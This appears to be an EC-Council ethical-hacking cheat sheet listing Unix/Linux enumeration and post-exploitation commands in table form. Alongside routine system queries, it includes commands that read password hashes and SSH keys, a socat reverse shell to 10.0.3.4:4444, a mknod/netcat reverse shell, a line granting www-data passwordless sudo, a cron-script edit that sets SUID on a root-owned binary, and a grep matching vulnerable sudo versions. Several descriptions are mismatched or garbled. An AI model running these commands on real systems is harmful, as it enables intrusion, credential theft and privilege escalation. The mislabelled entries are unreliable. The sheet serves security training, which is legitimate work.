Ethical Hacking and Countermeasures
Unix/Linux Enumeration Cheat Sheet

EC-Council
Building A Culture Of Security

Data Source	Description	Description
/usr/bin/rusers [-a] [-l] [-u| -h| -i] [Host ...]	rusers	Displays a list of users who are logged on to remote machines or machines on the local network
rwho [-a]	rwho	Displays a list of users who are logged in to hosts on the local network
finger [-l] [-m] [-p] [-s] [user ...] [user@host ...]	finger	Displays information about system users such as user's login name, real name, terminal name, idle time, login time, office location, and office phone numbers
uname [options]	Uname -a	Displays OS name and version and other details about the current machine.
pinky [OPTION]... [USER]...	Use this DNS server	Displays the information about the users currently logged in
users [OPTION]... [FILE]	users	Displays the information about the users currently logged in
who [options] [filename]	who -a	Displays the information about the users currently logged in
uname [options]	Uname -r	Used to display kernel release
hostname -[option] [file]	hostname	Used to display kernel release
uname [options]	Uname -n	Used to display System hostname
env [OPTION]... [-][NAME=VALUE]... [COMMAND [ARG]...]	Env	Displays all the environmental variables information
sudo OPTION.. COMMAND	sudo -l	Displays all sudo information of the current user
sudo OPTION.. COMMAND	sudo -V	To check Sudo version
pwd [OPTION]...	pwd	Outputs the current working directory path.
ls [options] [file|dir]	ls -al	Lists all the files and their permissions in the current directory
ls [options] [file|dir]	ls -ahlR /root/	See if you can access other user directories to find interesting files
ls [options] [file|dir]	ls -la ~/.*_history	Show the current users' various history files
ls [options] [file|dir]	ls -la ~/.ssh/	Check for interesting ssh files in the current users' directory
ls [options] [file|dir]	ls -la /root/.*_history	Read root's history files
ls [options] [file|dir]	ls -la /usr/sbin/in.*	Check Configuration of inetd services
ls [options] [file|dir]	ls -la /etc/cron*	Scheduled jobs overview (hourly, daily, monthly etc)

Data Source	Description	Description
ls [options] [file|dir]	$ ls -la /etc/cron.d	Prints cron jobs which are already present in cron.d
ls [options] [file|dir]	ls -la rootme	Tells us that it is owned by user
ls [options] [file|dir]	ls -la /etc/*.conf	Lists .conf files in /etc (recursive 1 level)
ls [options] [file|dir]	ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null	Check the permissions and contents of /etc/exports (NFS)
ls [options] [file|dir]	ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null	Check what can 'others' write in /etc/cron* directories
find /home/username/ -name "*.err"	find / -perm /6000 2>/dev/null;	Lists out all the SUID and SGID files
find /home/username/ -name "*.err"	find / -uid 0 -perm -4000 -type f 2>/dev/null	Lists out all the SUID and SGID files
find /home/username/ -name "*.err"	find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null	Find SUIDs
find /home/username/ -name "*.err"	find / -perm -2000 -group root -exec ls -ld {} \; 2> /dev/null	Find SGID
find /home/username/ -name "*.err"	find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null	Find world-writeable files excluding those in /proc
find /home/username/ -name "*.err	find / -xdev -type d -perm -0002 -ls 2> /dev/null	Find World Writable Folders
find /home/username/ -name "*.err	find / -xdev -type f -perm -0002 -ls 2> /dev/null	Find World Writable Files
find /home/username/ -name "*.err"	find / -perm -2 -type d 2>/dev/null	Find word-writeable directories
find /home/username/ -name "*.err"	find /home -name *.rhosts -print 2>/dev/null	Find rhost config files
find /home/username/ -name "*.err"	find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;	Find *.plan files, list permissions and cat the file contents
find /home/username/ -name "*.err"	find /etc -iname hosts. equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;	Find hosts.equiv, list permissions and cat the file contents
find /home/username/ -name "*.err"	find /var/log -type f -exec ls -la {} ; 2>/dev/null	List files in specified directory (/var/log)
find /home/username/ -name "*.err"	find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la	Find SSH keys/host information

Data Source	Description	Description
find /home/username/ -name "*.err"	find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc)	Locate 'useful' programs (netcat, wget etc)
find /home/username/ -name "*.err"	find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null	List .conf files in /etc (recursive 1 level)
find /home/username/ -name "*.err"	ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null	Find .conf files (recursive 4 levels) and output line number where the word 'password' is located
cat [OPTION] [FILE]...	cat /etc/passwd	List all the users
cat [OPTION] [FILE]...	cat /etc/group	List all the groups on the system
cat [OPTION] [FILE]...	cat /etc/shadow	Display all the users and their password hashes.
cat [OPTION] [FILE]...	cat ~/.bash_history	Shows the current users' command history
cat [OPTION] [FILE]...	cat /etc/fstab	sed to check fstab
cat [OPTION] [FILE]...	cat /etc/services	Used to check running services
cat [OPTION] [FILE]...	cat /etc/sudoers	Check who's allowed to do what as root – Privileged command
cat [OPTION] [FILE]...	cat /proc/version	Used to display kernel information
cat [OPTION] [FILE]...	cat /etc/*-release	Used to display Distribution information
cat [OPTION] [FILE]...	cat /etc/profile	Display default system variables
cat [OPTION] [FILE]...	cat /etc/shells	Display available shells
cat [OPTION] [FILE]...	cat /etc/issue	Used to display Distribution information
cat [OPTION] [FILE]...	cat /proc/cpuinfo	Used to display CPU information
cat [OPTION] [FILE]...	cat /etc/cron*	Used to check cronjobs
cat [OPTION] [FILE]...	cat /etc/inetd.conf	List services managed by inetd
cat [OPTION] [FILE]...	cat /etc/xinetd.conf	List services managed by inetd xinetd
cat [OPTION] [FILE]...	cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null	Extract associated binaries from xinetd.conf and show permissions of eachs

Ethical Hacking and Countermeasures
Unix/Linux Enumeration Cheat Sheet

EC-Council
Building A Culture Of Security

Data Source	Description	Description
cat [OPTION] [FILE]...	cat /etc/network/interfaces	Used to list all network interfaces
cat [OPTION] [FILE]...	cat /etc/resolv.conf	View port numbers/services mappings
cat [OPTION] [FILE]...	cat /etc/services	View port numbers/services mappings
cat [OPTION] [FILE]...	cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1'	Check which account is Apache running as
id [OPTION]	id	Displays the user ID and group ID of current user
whoami [OPTION]	whoami	Outputs the name of the current user
netstat [OPTION]	netstat -antup	Check for open ports
netstat [OPTION]	netstat -antp	Lists all TCP sockets and related PIDs (-p Privileged command)
netstat [OPTION]	netstat -anup	Lists all UDP sockets and related PIDs (-p Privileged command)
cat [OPTION] [FILE]...	cat /etc/sudoers	Check who's allowed to do what as root – Privileged command
ps [OPTIONS]	ps -elf	Check Processes
ps [OPTIONS]	ps -elf | grep root	Check processes running without root privileges
ps [OPTIONS]	ps aux | grep root	View services running as root
ps [OPTIONS]	ps aux | awk '{print $11}' |xargs -r ls -la 2>/dev/null |awk '!x[$0]++'	Lookup process binary path and permissions
dpkg [option...] action	cat /etc/sheldpkg -l rpm -qa ls	Check installed packages
dpkg [option...] action	dpkg -l	Check Installed packages (Debian)
dpkg [option...] action	dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null	List available compilers
rpm -qa	rpm -qa	Shows Installed packages (Red Hat)
ip [options] OBJECT COMMAND	ip addr	Check network configuration
socat INPUT_TYPE(OPTIONS) OUTPUT_TYPE(OPTIONS)	$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444	Used for Listening port using socat

Data Source	Description	Description
socat INPUT_TYPE (OPTIONS) OUTPUT_TYPE(OPTIONS	$ socat file:`tty`,raw,echo=0 tcp-listen:4444	Used for Connecting to the port using socat
mknod device-name device-type major-number minor-number	mknod /tmp/backpipe p; /bin/sh 0< /tmp/backpipe | nc <ip> <port> 1> /tmp/backpipe; rm /tmp/backpipe	Used for Reverse connection using mknod
dpkg [options] filename	dpkg -l <application name>	Check the version of an installed application
username host_list = (users) command	echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers	Edit sudoers file and grant sudo access to the current user with no password
echo [option] [string]	echo $PATH	Displays Path information
echo [option] [string]	echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh	Change the executable's owner and group as root. It will also set the SUID bit
df [OPTION]...[FILE]...	df -a	Display File system information
df [OPTION]...[FILE]...	df -h	Check the storage information
for NAME [in WORDS ...] ; do COMMANDS;	for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null	List all uid's and respective group memberships
grep [options] pattern [files]	grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'	Shows the List all super user accounts
grep [options] pattern [files]	sudo -V | grep "Sudo ver" | grep "1.6.8p9|1.6.9p18|1.8.14 |1.8.20|1.6.9p21|1.7.2p4|1\.8\.[0123]$\|1\.3\.[^1]\|1 \.4\.\d*\|1\.5\.\d*\ \|1\.6\.\d*\|1.5$|1.6$"	Check if the sudo version is vulnerable using this grep
grep [options] pattern [files]	grep -l -i pass /var/log/*.log 2>/dev/null	Check log files for keywords ('pass' in this example) and show positive matches
w [options] user [...]	w	Check who is currently logged in and what they're doing
last [options] [username...] [tty...]	last	Used for listing of last logged on users
lastlog [<-u|--user> login-name] [<-t|--time> days] [<-h|--help>]	lastlog	Get the information on when all users last logged in

Data Source	Description	Description
lastlog [<-u|--user> login-name] [<-t|--time> days] [<-h|--help>]	lastlog -u %username%	Gives information on when the specified user last logged in
lastlog [<-u|--user> login-name] [<-t|--time> days] [<-h|--help>]	lastlog |grep -v "Never"	Shows the entire list of previously logged on users
set [--abefhkmnptuvxBCHP] [-o option-name] [arg ...]	set	Displays environmental variables
$ history	history	Displays command history of current user
lsof [option][user name]	lsof -i -n	List open files (output will depend on account privileges)
head [OPTION]... [FILE]...	head /var/mail/root	Read roots mail using this command
crontab [-u user] file	crontab -l -u %username%	Display scheduled jobs for the specified user – Privileged command
$ top	top	Get the list of current tasks
ifconfig [...OPTIONS] [INTERFACE]	/sbin/ifconfig -a	Lists all network interfaces
arp [-v] [-i if] [-H type] -a [hostname]	arp -a	Display ARP communications
route	route	Display route information
iptables --table TABLE -A/-C/-D... CHAIN rule --jump Target	iptables -L	List rules – Privileged command
apachectl command	apache2ctl (or apachectl) -M	List loaded Apache modules
mysql --version	mysql --version	Displays the installed MYSQL version details
psql [option...] [dbname [username]]	psql -V	Provides the installed Postgres version details
$ perl -v	perl -v	Provides installed Perl version details
java [options] class [argument ...]	java -version	Provides Installed Java version details
python [-d] [-E] [-h] [-i] [-m module-name] [-O] [-Q argument] [-S] [-t] [-u] [-v] [-V] [-W argument] [-x] [-c command | script | -] [arguments]	python --version	Get Installed Python version details

Data Source	Description	Description
`ruby [--copyright] [--version] [-Sacdlnpswvy] [-0[octal]] [-C directory] [-F pattern] [-I directory] [-K c] [-T[level]] [-e command] [-i[extension]] [-r library] [-x[directory]] [--] [program_file] [argument ...]`	`ruby -v`	Get Installed Ruby version details
`which [filename1] [filename2] ...`	`which %program_name% (i.e. nc, netcat, wget, nmap etc`	Used to locate 'useful' programs (netcat, wget etc)t
`screen [-opts] [cmd [ args]]`	`screen -ls`	List screen sessions
`screen [-opts] [cmd [args]]`	`screen -dr <session>`	Used to attach to a session
`tmux [-2CluvV] [-c shell-command] [-f file] [-L socket-name] [-S socket-path] [command [flags]]`	`tmux ls`	Get a list of the currently running sessionss
`tmux [-2CluvV] [-c shell-command] [-f file] [-L socket-name] [-S socket-path] [command [flags]]`	`tmux attach-session -t 0`	To attach a session
`timeout [OPTION] DURATION COMMAND [ARG]...`	`timeout 1 tcpdump`	Used to check if you can sniff traffic